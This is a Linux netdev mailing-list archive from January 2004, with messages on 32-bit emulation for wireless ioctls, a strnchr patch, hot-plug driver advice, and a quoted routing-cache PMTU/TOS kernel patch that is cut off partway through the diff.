<20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> <20040119153919.14102937.ak@suse.de> <20040119063921.586b37ac.davem@redhat.com> <20040119155412.2bffee5a.ak@suse.de> <20040119194943.GA9360@bougret.hpl.hp.com> <20040119210132.0c52df58.ak@suse.de> <20040119201912.GA9701@bougret.hpl.hp.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2605 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 12:19:12 -0800 Jean Tourrilhes wrote: > On Mon, Jan 19, 2004 at 09:01:32PM +0100, Andi Kleen wrote: > > > > [1] I actually have a Samsung wireless card, but it's not working > > due to missing support for the Cirrus 6729 PCMCIA bridge on there. > > I was wondering, because Samsungs cards should be supported by > the HostAP driver (which remind me, HostAP needs to go in the kernel). It apparently works with David Hinds' PCMCIA kit, but that is far too messy to patch into a changing development kernel all the time. The main problem seems to be the missing bridge support in the kernel PCMCIA, so the wireless driver cannot even see the chip. > > > One of the main strength of OpenSource is that you can > > > recompile for your platform, and I think we should fully exploit this > > > advantage, especially for the base system. Otherwise, why not enable > > > 16bit compatibility on i386 for ELKS packages ? > > > > I maintain the 32bit emulation on x86-64 and booting an unmodified 32bit distribution > > is an important test case for me. Your suggestion is like someone suggesting > > to you to just use ethernet with cables instead of this unreliable wireless stuff... > > This analogy doesn't work. If your network is wireless, you > won't connect to it with an Ethernet card (and vice versa). A fully 64 > bits userspace has only very minor downside, and most users won't see > any difference. If we follow your line of thought, we should all be > using a 16bit userspace on i386 (more compact, more compatible). My point was not that I think it's so great to run 32bit user space. In fact on AMD64 the 64bit compiler generates in general better and often more compact code than the 32bit compiler. Most of my 64bit machines are running with full 64bit userland. But it's very useful to have working 32bit emulation for many reasons, and going from good application emulation to supporting a full distribution boot is only a small step and a great test. -Andi From davem@pizda.ninka.net Mon Jan 19 12:36:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 12:37:07 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JKaqmK017558 for ; Mon, 19 Jan 2004 12:36:54 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA20651; Mon, 19 Jan 2004 12:26:57 -0800 Date: Mon, 19 Jan 2004 12:26:57 -0800 From: "David S. Miller" To: jt@hpl.hp.com Cc: jt@bougret.hpl.hp.com, ak@suse.de, hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-Id: <20040119122657.3b432583.davem@redhat.com> In-Reply-To: <20040119201912.GA9701@bougret.hpl.hp.com> References: <20040119123343.GA16292@colin2.muc.de> <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> <20040119153919.14102937.ak@suse.de> <20040119063921.586b37ac.davem@redhat.com> <20040119155412.2bffee5a.ak@suse.de> <20040119194943.GA9360@bougret.hpl.hp.com> <20040119210132.0c52df58.ak@suse.de> <20040119201912.GA9701@bougret.hpl.hp.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2606 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 12:19:12 -0800 Jean Tourrilhes wrote: > This analogy doesn't work. If your network is wireless, you > won't connect to it with an Ethernet card (and vice versa). A fully 64 > bits userspace has only very minor downside, and most users won't see > any difference. If we follow your line of thought, we should all be > using a 16bit userspace on i386 (more compact, more compatible). I think the situation is different. On several 64-bit platforms we encourage using 32-bit compilation and binaries by default because: 1) they're a lot faster than their 64-bit counterparts 2) they're a lot smaller than their 64-bit counterparts 3) 64-bits buys them absolutely nothing Therefore the 32-bit compatability layer must be as fully supportive as humanly possible. Most 64-bit platforms still have %99 32-bit distributions. This has been discussed to death a million times, please accept the situation and work towards getting the 32-bit compat stuff working for these wireless ioctls. We wouldn't be working on this if "just compile as 64-bit" we an acceptable solution now would we :) From jt@bougret.hpl.hp.com Mon Jan 19 12:40:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 12:40:43 -0800 (PST) Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JKeRmK018070 for ; Mon, 19 Jan 2004 12:40:28 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel12.hp.com (Postfix) with ESMTP id 7A1731C0242D; Mon, 19 Jan 2004 12:40:27 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id MAA28361; Mon, 19 Jan 2004 12:40:27 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AigCB-0002dg-00; Mon, 19 Jan 2004 12:40:27 -0800 Date: Mon, 19 Jan 2004 12:40:27 -0800 To: "David S. Miller" Cc: ak@suse.de, hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-ID: <20040119204027.GA10116@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> <20040119153919.14102937.ak@suse.de> <20040119063921.586b37ac.davem@redhat.com> <20040119155412.2bffee5a.ak@suse.de> <20040119194943.GA9360@bougret.hpl.hp.com> <20040119210132.0c52df58.ak@suse.de> <20040119201912.GA9701@bougret.hpl.hp.com> <20040119122657.3b432583.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040119122657.3b432583.davem@redhat.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2607 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev On Mon, Jan 19, 2004 at 12:26:57PM -0800, David S. Miller wrote: > > and work towards getting the 32-bit compat stuff working for these > wireless ioctls. I think I've done my part, the wireless ioctls were clearly not the most difficult to convert ;-) Jean From ak@muc.de Mon Jan 19 12:49:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 12:49:53 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JKnbmK018661 for ; Mon, 19 Jan 2004 12:49:40 -0800 Received: (qmail 77743 invoked by uid 3709); 19 Jan 2004 20:50:16 -0000 Date: 19 Jan 2004 21:50:16 +0100 Date: Mon, 19 Jan 2004 21:50:16 +0100 From: Andi Kleen To: "David S. Miller" Cc: jt@hpl.hp.com, jt@bougret.hpl.hp.com, ak@suse.de, hch@infradead.org, netdev@oss.sgi.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-ID: <20040119205016.GA51807@colin2.muc.de> References: <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> <20040119153919.14102937.ak@suse.de> <20040119063921.586b37ac.davem@redhat.com> <20040119155412.2bffee5a.ak@suse.de> <20040119194943.GA9360@bougret.hpl.hp.com> <20040119210132.0c52df58.ak@suse.de> <20040119201912.GA9701@bougret.hpl.hp.com> <20040119122657.3b432583.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040119122657.3b432583.davem@redhat.com> User-Agent: Mutt/1.4.1i X-archive-position: 2608 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@colin2.muc.de Precedence: bulk X-list: netdev > 1) they're a lot faster than their 64-bit counterparts > > 2) they're a lot smaller than their 64-bit counterparts > > 3) 64-bits buys them absolutely nothing Just for the record: this doesn't apply to AMD64. While data structures take a bit more memory at runtime the 64bit code is a lot better due to more registers and better ABI. And it is also not signifcantly bigger, in fact some programs get smaller when you recompile them for 64bit. Still good 32bit emulation is important because people expect 32bit applications to run seamlessly on 64bit kernels. > Therefore the 32-bit compatability layer must be as fully supportive as humanly > possible. Most 64-bit platforms still have %99 32-bit distributions. AMD64 should usually run with 64bit userland, except for user who transistion slowly from a 32bit user land. -Andi From jt@bougret.hpl.hp.com Mon Jan 19 12:51:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 12:51:17 -0800 (PST) Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JKp4mK019063 for ; Mon, 19 Jan 2004 12:51:04 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel12.hp.com (Postfix) with ESMTP id 17F0F1C021EF; Mon, 19 Jan 2004 12:51:01 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id MAA28791; Mon, 19 Jan 2004 12:51:00 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AigMO-0002el-00; Mon, 19 Jan 2004 12:51:00 -0800 Date: Mon, 19 Jan 2004 12:51:00 -0800 To: Andi Kleen Cc: davem@redhat.com, hch@infradead.org, ak@colin2.muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Add 32bit emulation for wireless Message-ID: <20040119205100.GB10116@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040119123945.A32623@infradead.org> <20040119141041.2cccbc3d.ak@suse.de> <20040119055615.4380e157.davem@redhat.com> <20040119153919.14102937.ak@suse.de> <20040119063921.586b37ac.davem@redhat.com> <20040119155412.2bffee5a.ak@suse.de> <20040119194943.GA9360@bougret.hpl.hp.com> <20040119210132.0c52df58.ak@suse.de> <20040119201912.GA9701@bougret.hpl.hp.com> <20040119213501.4d2420e8.ak@suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040119213501.4d2420e8.ak@suse.de> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 2609 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev On Mon, Jan 19, 2004 at 09:35:01PM +0100, Andi Kleen wrote: > On Mon, 19 Jan 2004 12:19:12 -0800 > Jean Tourrilhes wrote: > > > On Mon, Jan 19, 2004 at 09:01:32PM +0100, Andi Kleen wrote: > > > > > > [1] I actually have a Samsung wireless card, but it's not working > > > due to missing support for the Cirrus 6729 PCMCIA bridge on there. > > > > I was wondering, because Samsungs cards should be supported by > > the HostAP driver (which remind me, HostAP needs to go in the kernel). > > It apparently works with David Hinds' PCMCIA kit, but that is far > too messy to patch into a changing development kernel all the time. > The main problem seems to be the missing bridge support in the kernel > PCMCIA, so the wireless driver cannot even see the chip. I see you have it covered : http://www.ussg.iu.edu/hypermail/linux/kernel/0312.1/0469.html You may want to get in touch with Dominik Brodowski and Russell King, because the i82365 driver in 2.6.X is fairly stable (as opposed to the CardBus stuff). > -Andi Jean From shemminger@osdl.org Mon Jan 19 13:08:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 13:08:21 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JL7xmK019760 for ; Mon, 19 Jan 2004 13:07:59 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0JL7io31837; Mon, 19 Jan 2004 13:07:44 -0800 Date: Mon, 19 Jan 2004 13:07:44 -0800 From: Stephen Hemminger To: Andi Kleen Cc: davem@redhat.com, ap@cipherica.com, netdev@oss.sgi.com Subject: Re: [PATCH] more improvement to dev_alloc_name -- strnchr Message-Id: <20040119130744.324f582b.shemminger@osdl.org> In-Reply-To: <20040119210605.3cea32b0.ak@suse.de> References: <1074302619.40088e9bd44a6@www.geekmail.cc> <20040119113204.5913a8d6.shemminger@osdl.org> <20040119210605.3cea32b0.ak@suse.de> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2610 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 21:06:05 +0100 Andi Kleen wrote: > On Mon, 19 Jan 2004 11:32:04 -0800 > Stephen Hemminger wrote: > > > +#ifndef __HAVE_ARCH_STRNCHR > > Please drop the ifdef. Don't want to encourage anybody to write > strrchr() in assembly. > > -Andi I assume you mean strnchr not strrchr. Mainly just following the style of all the other string routines. What if gcc does it inline in some future version? From becker@scyld.com Mon Jan 19 13:17:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 13:17:50 -0800 (PST) Received: from NewBlue.scyld.com ([64.237.107.19]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JLHamK020188 for ; Mon, 19 Jan 2004 13:17:37 -0800 Received: from beohost.scyld.com (h-66-134-106-242.MCLNVA23.covad.net [66.134.106.242]) by NewBlue.scyld.com (8.10.2/8.10.2) with ESMTP id i0JHJ6h24093; Mon, 19 Jan 2004 12:19:06 -0500 Received: from localhost (becker@localhost) by beohost.scyld.com (8.11.6/8.11.6) with ESMTP id i0JHTxp01525; Mon, 19 Jan 2004 12:29:59 -0500 X-Authentication-Warning: beohost.scyld.com: becker owned process doing -bs Date: Mon, 19 Jan 2004 12:29:59 -0500 (EST) From: Donald Becker X-X-Sender: becker@beohost To: Don Fry cc: linux-net@vger.kernel.org, Subject: Re: Hot-plug for pcnet32 ? In-Reply-To: <200401191614.i0JGE9p10337@dyn318364bld.beaverton.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2611 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: becker@scyld.com Precedence: bulk X-list: netdev On Mon, 19 Jan 2004, Don Fry wrote: > > > Any chance that anyone is thinking of adding hot-plug support > > > to the pcnet32 driver? > Here is a repeat of a patch to enable PCI Hot Plug for pcnet32. Errrmmm, you need to much more than that! Here are a few rules for writing hotremove-safe drivers: Don't count on "remove interrupts": hardware may disappear at any time. Always check for 0xffffffff when starting a new hardware operation. This may usually be done very efficiently: in an interrupt handler check for all error status bits with a mask, and in the error handling routine check for missing hardware. Analyze the transmit routine routine. In many cases the driver can "just assume everything will according to plan and leave the room". But if the driver reads from the hardware, it presumably depends on the value and should check for missing hardware. Don't forget statistics and ioctl() routines when checking for missing hardware. Never have unlimited loops. Always use an explicit loop limit (e.g. 'boguscnt=1000' or 'work_limit=20') rather than rely on the value in a hardware register changing. -- Donald Becker becker@scyld.com Scyld Computing Corporation http://www.scyld.com 914 Bay Ridge Road, Suite 220 Scyld Beowulf cluster systems Annapolis MD 21403 410-990-9993 From ak@suse.de Mon Jan 19 13:52:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 13:52:21 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JLpvmK021335 for ; Mon, 19 Jan 2004 13:51:58 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id AB7071A14F71; Mon, 19 Jan 2004 22:15:21 +0100 (CET) Date: Mon, 19 Jan 2004 22:15:15 +0100 From: Andi Kleen To: Stephen Hemminger Cc: davem@redhat.com, ap@cipherica.com, netdev@oss.sgi.com Subject: Re: [PATCH] more improvement to dev_alloc_name -- strnchr Message-Id: <20040119221515.74629ac4.ak@suse.de> In-Reply-To: <20040119130744.324f582b.shemminger@osdl.org> References: <1074302619.40088e9bd44a6@www.geekmail.cc> <20040119113204.5913a8d6.shemminger@osdl.org> <20040119210605.3cea32b0.ak@suse.de> <20040119130744.324f582b.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2612 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 13:07:44 -0800 Stephen Hemminger wrote: > On Mon, 19 Jan 2004 21:06:05 +0100 > Andi Kleen wrote: > > > On Mon, 19 Jan 2004 11:32:04 -0800 > > Stephen Hemminger wrote: > > > > > +#ifndef __HAVE_ARCH_STRNCHR > > > > Please drop the ifdef. Don't want to encourage anybody to write > > strrchr() in assembly. > > > > -Andi > > I assume you mean strnchr not strrchr. Mainly just following the style > of all the other string routines. Yep, strnchr. > What if gcc does it inline in some future version? Not sure what it has to do with that. The #ifdef __HAVE_ARCH_* stuff is that architectures with crazy enough hackers can add assembly optimized functions if they want. But it clearly doesn't make any sense with this function (in fact it doesn't make much sense with any string function except memset/memcpy), so better not encourage it. -Andi From davem@pizda.ninka.net Mon Jan 19 13:52:29 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 13:52:41 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JLqRmK021357 for ; Mon, 19 Jan 2004 13:52:28 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id NAA20877; Mon, 19 Jan 2004 13:44:29 -0800 Date: Mon, 19 Jan 2004 13:44:29 -0800 From: "David S. Miller" To: Andi Kleen Cc: shemminger@osdl.org, ap@cipherica.com, netdev@oss.sgi.com Subject: Re: [PATCH] more improvement to dev_alloc_name -- strnchr Message-Id: <20040119134429.2da42efb.davem@redhat.com> In-Reply-To: <20040119221515.74629ac4.ak@suse.de> References: <1074302619.40088e9bd44a6@www.geekmail.cc> <20040119113204.5913a8d6.shemminger@osdl.org> <20040119210605.3cea32b0.ak@suse.de> <20040119130744.324f582b.shemminger@osdl.org> <20040119221515.74629ac4.ak@suse.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2613 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 19 Jan 2004 22:15:15 +0100 Andi Kleen wrote: > On Mon, 19 Jan 2004 13:07:44 -0800 > Stephen Hemminger wrote: > > > What if gcc does it inline in some future version? > > Not sure what it has to do with that. The #ifdef __HAVE_ARCH_* stuff > is that architectures with crazy enough hackers can add assembly > optimized functions if they want. But it clearly doesn't make any sense > with this function (in fact it doesn't make much sense with any string > function except memset/memcpy), so better not encourage it. Sometimes it is just used on a platform to force a call to the gcc builtin. I think it's perfectly reasonable what Stephen has done. From ruddk@us.ibm.com Mon Jan 19 14:44:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 19 Jan 2004 14:44:52 -0800 (PST) Received: from e35.co.us.ibm.com (e35.co.us.ibm.com [32.97.110.133]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0JMiUmK023118 for ; Mon, 19 Jan 2004 14:44:37 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e35.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0JMi4Rg470576 for ; Mon, 19 Jan 2004 17:44:14 -0500 Received: from gateway.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0JMhqvB060324 for ; Mon, 19 Jan 2004 15:43:53 -0700 Received: from crg8.beaverton.ibm.com (crg8.beaverton.ibm.com [9.47.57.33]) by gateway.beaverton.ibm.com (8.11.6/8.11.6) with ESMTP id i0JMhqO00789 for ; Mon, 19 Jan 2004 14:43:52 -0800 Received: from w-kevinr.beaverton.ibm.com (w-kevinr.beaverton.ibm.com [9.47.13.228]) by crg8.beaverton.ibm.com (8.10.0.B10p2/8.8.5/token.aware-1.2) with ESMTP id i0JMhpT26095 for ; Mon, 19 Jan 2004 14:43:51 -0800 (PST) Date: Mon, 19 Jan 2004 14:43:50 -0800 (PST) From: "Kevin W. Rudd" X-X-Sender: kevinr@w-kevinr.svc.beaverton.ibm.com To: netdev@oss.sgi.com Subject: Re: PMTU issues due to TOS field manipulation (for DSCP) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2614 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ruddk@us.ibm.com Precedence: bulk X-list: netdev Does anyone know the status of this potential patch? There has been silence since the initial patch proposal was made over a month ago. Thanks, -Kevin -- Kevin W. Rudd Linux Change Team IBM Global Services 1-800-426-7378, T/L 775-4161 On Sat, 13 Dec 2003, Julian Anastasov wrote: > Date: Sat, 13 Dec 2003 01:38:00 +0200 (EET) > From: Julian Anastasov > To: David S. Miller > Cc: niv@us.ibm.com, ak@suse.de, ruddk@us.ibm.com, kuznet@ms2.inr.ac.ru, > netdev@oss.sgi.com, chester.f.johnson@intel.com > Subject: Re: PMTU issues due to TOS field manipulation (for DSCP) > > > Hello, > > On Fri, 12 Dec 2003, David S. Miller wrote: > > > 1) PMTU processing applies PMTU change to all TOS'd instances of > > a route. This behavior change is sysctl controllable, and > > on by default. > > > > The implementation is to just lookup all 8 possible TOS values. > > > > 2) Whether TOS is a routing cache hash key is controlled by another > > sysctl. > > > > When CONFIG_IP_ROUTE_TOS is set this sysctl defaults to on, other- > > wise it defaults to off. > > > > I think #2 should be very safe because fib node fn_tos values are only > > ever set when that config variable is enabled, and fib rule r_tos values > > are only compared on lookup when it is enabled as well. However, there > > could be a few more ifdefs added to the fib rule code to cover all the > > assignment cases too but let's not worry about that right now. > > OK, here is a change that compiles. No fib changes yet (it > is the next step). I'm not sure what var names are better. > > > Comments? > > What about ip_rt_redirect? May be we need the same TOS > matching behavior if TOS is changed somewhere after routing? > > diff -Nru a/include/linux/sysctl.h b/include/linux/sysctl.h > --- a/include/linux/sysctl.h Sat Dec 13 01:16:15 2003 > +++ b/include/linux/sysctl.h Sat Dec 13 01:16:15 2003 > @@ -329,6 +329,8 @@ > NET_IPV4_ROUTE_MIN_PMTU=16, > NET_IPV4_ROUTE_MIN_ADVMSS=17, > NET_IPV4_ROUTE_SECRET_INTERVAL=18, > + NET_IPV4_ROUTE_IGNORE_TOS=19, > + NET_IPV4_ROUTE_PMTU_MODE=20, > }; > > enum > diff -Nru a/net/ipv4/route.c b/net/ipv4/route.c > --- a/net/ipv4/route.c Sat Dec 13 01:16:15 2003 > +++ b/net/ipv4/route.c Sat Dec 13 01:16:15 2003 > @@ -124,6 +124,14 @@ > int ip_rt_min_advmss = 256; > int ip_rt_secret_interval = 10 * 60 * HZ; > static unsigned long rt_deadline; > +#ifdef CONFIG_IP_ROUTE_TOS > +static u8 iptos_rt_mask = IPTOS_RT_MASK; > +int ip_rt_ignore_tos; > +#else > +static u8 iptos_rt_mask; > +int ip_rt_ignore_tos = 1; > +#endif > +int ip_rt_pmtu_mode; /* 1=match by iph->tos, 0=ignore TOS for PMTU */ > > #define RTprint(a...) printk(KERN_DEBUG a) > > @@ -967,13 +975,12 @@ > void ip_rt_redirect(u32 old_gw, u32 daddr, u32 new_gw, > u32 saddr, u8 tos, struct net_device *dev) > { > - int i, k; > + int i; > struct in_device *in_dev = in_dev_get(dev); > struct rtable *rth, **rthp; > u32 skeys[2] = { saddr, 0 }; > - int ikeys[2] = { dev->ifindex, 0 }; > > - tos &= IPTOS_RT_MASK; > + tos &= iptos_rt_mask; > > if (!in_dev) > return; > @@ -993,10 +1000,7 @@ > } > > for (i = 0; i < 2; i++) { > - for (k = 0; k < 2; k++) { > - unsigned hash = rt_hash_code(daddr, > - skeys[i] ^ (ikeys[k] << 5), > - tos); > + unsigned hash = rt_hash_code(daddr, skeys[i], tos); > > rthp=&rt_hash_table[hash].chain; > > @@ -1008,7 +1012,9 @@ > if (rth->fl.fl4_dst != daddr || > rth->fl.fl4_src != skeys[i] || > rth->fl.fl4_tos != tos || > - rth->fl.oif != ikeys[k] || > + (rth->fl.oif && > + rth->fl.oif != dev->ifindex) || > + rth->rt_dst == rth->rt_gateway || > rth->fl.iif != 0) { > rthp = &rth->u.rt_next; > continue; > @@ -1075,7 +1081,6 @@ > rcu_read_unlock(); > do_next: > ; > - } > } > in_dev_put(in_dev); > return; > @@ -1105,8 +1110,7 @@ > } else if ((rt->rt_flags & RTCF_REDIRECTED) || > rt->u.dst.expires) { > unsigned hash = rt_hash_code(rt->fl.fl4_dst, > - rt->fl.fl4_src ^ > - (rt->fl.oif << 5), > + rt->fl.fl4_src, > rt->fl.fl4_tos); > #if RT_CACHE_DEBUG >= 1 > printk(KERN_DEBUG "ip_rt_advice: redirect to " > @@ -1237,21 +1241,33 @@ > return 68; > } > > +/* See IPTOS_RT_MASK */ > +static u8 all_tos_values[8] = { 0x00, 0x04, 0x08, 0x0C, 0x10, 0x14, 0x18, 0x1C }; > + > unsigned short ip_rt_frag_needed(struct iphdr *iph, unsigned short new_mtu) > { > - int i; > + int i, j, ntos; > unsigned short old_mtu = ntohs(iph->tot_len); > struct rtable *rth; > u32 skeys[2] = { iph->saddr, 0, }; > u32 daddr = iph->daddr; > - u8 tos = iph->tos & IPTOS_RT_MASK; > + u8 *tos_values, tos = iph->tos & iptos_rt_mask; > unsigned short est_mtu = 0; > > if (ipv4_config.no_pmtu_disc) > return 0; > > + if (ip_rt_pmtu_mode || !iptos_rt_mask) { > + tos_values = &tos; > + ntos = 1; > + } else { > + tos_values = all_tos_values; > + ntos = ARRAY_SIZE(all_tos_values); > + } > + > + for (j = 0; j < ntos; j++) > for (i = 0; i < 2; i++) { > - unsigned hash = rt_hash_code(daddr, skeys[i], tos); > + unsigned hash = rt_hash_code(daddr, skeys[i], tos_values[j]); > > rcu_read_lock(); > for (rth = rt_hash_table[hash].chain; rth; > @@ -1259,9 +1275,9 @@ > smp_read_barrier_depends(); > if (rth->fl.fl4_dst == daddr && > rth->fl.fl4_src == skeys[i] && > + rth->fl.fl4_tos == tos_values[j] && > rth->rt_dst == daddr && > rth->rt_src == iph->saddr && > - rth->fl.fl4_tos == tos && > rth->fl.iif == 0 && > !(dst_metric_locked(&rth->u.dst, RTAX_MTU))) { > unsigned short mtu = new_mtu; > @@ -1503,7 +1519,7 @@ > RT_CACHE_STAT_INC(in_slow_mc); > > in_dev_put(in_dev); > - hash = rt_hash_code(daddr, saddr ^ (dev->ifindex << 5), tos); > + hash = rt_hash_code(daddr, saddr, tos); > return rt_intern_hash(hash, rth, (struct rtable**) &skb->dst); > > e_nobufs: > @@ -1554,7 +1570,7 @@ > if (!in_dev) > goto out; > > - hash = rt_hash_code(daddr, saddr ^ (fl.iif << 5), tos); > + hash = rt_hash_code(daddr, saddr, tos); > > /* Check for the most weird martians, which can be not detected > by fib_lookup. > @@ -1846,8 +1862,8 @@ > unsigned hash; > int iif = dev->ifindex; > > - tos &= IPTOS_RT_MASK; > - hash = rt_hash_code(daddr, saddr ^ (iif << 5), tos); > + tos &= iptos_rt_mask; > + hash = rt_hash_code(daddr, saddr, tos); > > rcu_read_lock(); > for (rth = rt_hash_table[hash].chain; rth; rth = rth->u.rt_next) { > @@ 